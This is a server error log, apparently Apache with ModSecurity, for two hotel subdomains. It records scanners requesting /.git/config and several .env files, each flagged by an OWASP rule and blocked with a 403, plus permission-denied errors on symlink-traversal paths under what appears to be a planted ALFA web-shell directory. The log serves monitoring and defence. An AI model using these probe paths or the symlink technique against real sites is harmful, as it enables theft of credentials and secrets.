[Mon Oct 26 02:27:16.143789 2026] [core:error] [pid 2978287:tid 2978287] (13)Permission denied: [client 85.208.96.196:62642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-64/objects
[Mon Oct 26 02:27:17.516334 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7yxcsSJ_JPXSgPpTUCSQAAAA4"]
[Mon Oct 26 02:27:17.516543 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7yxcsSJ_JPXSgPpTUCSQAAAA4"]
[Mon Oct 26 02:27:17.516848 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7yxcsSJ_JPXSgPpTUCSQAAAA4"]
[Mon Oct 26 02:27:17.578153 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7yxWVuCUgD8ovs4IEDYgAAABM"]
[Mon Oct 26 02:27:17.578403 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7yxWVuCUgD8ovs4IEDYgAAABM"]
[Mon Oct 26 02:27:17.578660 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7yxWVuCUgD8ovs4IEDYgAAABM"]
[Mon Oct 26 02:27:17.841502 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7yxcsSJ_JPXSgPpTUCSwAAAA4"]
[Mon Oct 26 02:27:17.841861 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7yxcsSJ_JPXSgPpTUCSwAAAA4"]
[Mon Oct 26 02:27:17.842217 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7yxcsSJ_JPXSgPpTUCSwAAAA4"]
[Mon Oct 26 02:27:17.872103 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7yxWVuCUgD8ovs4IEDZAAAABM"]
[Mon Oct 26 02:27:17.872321 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7yxWVuCUgD8ovs4IEDZAAAABM"]
[Mon Oct 26 02:27:17.872637 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7yxWVuCUgD8ovs4IEDZAAAABM"]
[Mon Oct 26 02:27:17.956017 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7yxcsSJ_JPXSgPpTUCTAAAAA4"]
[Mon Oct 26 02:27:17.956342 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7yxcsSJ_JPXSgPpTUCTAAAAA4"]
[Mon Oct 26 02:27:17.956707 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7yxcsSJ_JPXSgPpTUCTAAAAA4"]
[Mon Oct 26 02:27:17.978009 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7yxWVuCUgD8ovs4IEDZQAAABM"]
[Mon Oct 26 02:27:17.978235 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7yxWVuCUgD8ovs4IEDZQAAABM"]
[Mon Oct 26 02:27:17.978488 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7yxWVuCUgD8ovs4IEDZQAAABM"]
[Mon Oct 26 02:27:18.101285 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7yxmVuCUgD8ovs4IEDZgAAABM"]
[Mon Oct 26 02:27:18.101576 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7yxmVuCUgD8ovs4IEDZgAAABM"]
[Mon Oct 26 02:27:18.101926 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7yxmVuCUgD8ovs4IEDZgAAABM"]
[Mon Oct 26 02:27:18.128514 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7yxssSJ_JPXSgPpTUCTQAAAA4"]
[Mon Oct 26 02:27:18.128702 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7yxssSJ_JPXSgPpTUCTQAAAA4"]
[Mon Oct 26 02:27:18.129014 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7yxssSJ_JPXSgPpTUCTQAAAA4"]
[Mon Oct 26 02:27:18.379005 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7yxmVuCUgD8ovs4IEDZwAAABM"]
[Mon Oct 26 02:27:18.379276 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7yxmVuCUgD8ovs4IEDZwAAABM"]
[Mon Oct 26 02:27:18.379566 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7yxssSJ_JPXSgPpTUCTgAAAA4"]
[Mon Oct 26 02:27:18.379577 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7yxmVuCUgD8ovs4IEDZwAAABM"]
[Mon Oct 26 02:27:18.379750 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7yxssSJ_JPXSgPpTUCTgAAAA4"]
[Mon Oct 26 02:27:18.379970 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7yxssSJ_JPXSgPpTUCTgAAAA4"]
[Mon Oct 26 02:27:18.403801 2026] [core:error] [pid 2982126:tid 2982126] (13)Permission denied: [client 3.212.86.97:6457] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/remove_id
[Mon Oct 26 02:27:18.474882 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7yxmVuCUgD8ovs4IEDaAAAABM"]
[Mon Oct 26 02:27:18.475112 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7yxmVuCUgD8ovs4IEDaAAAABM"]
[Mon Oct 26 02:27:18.475399 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7yxmVuCUgD8ovs4IEDaAAAABM"]
[Mon Oct 26 02:27:18.484294 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7yxssSJ_JPXSgPpTUCTwAAAA4"]
[Mon Oct 26 02:27:18.484548 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7yxssSJ_JPXSgPpTUCTwAAAA4"]
[Mon Oct 26 02:27:18.484938 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7yxssSJ_JPXSgPpTUCTwAAAA4"]
[Mon Oct 26 02:27:18.600512 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7yxmVuCUgD8ovs4IEDaQAAABM"]
[Mon Oct 26 02:27:18.600852 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7yxmVuCUgD8ovs4IEDaQAAABM"]
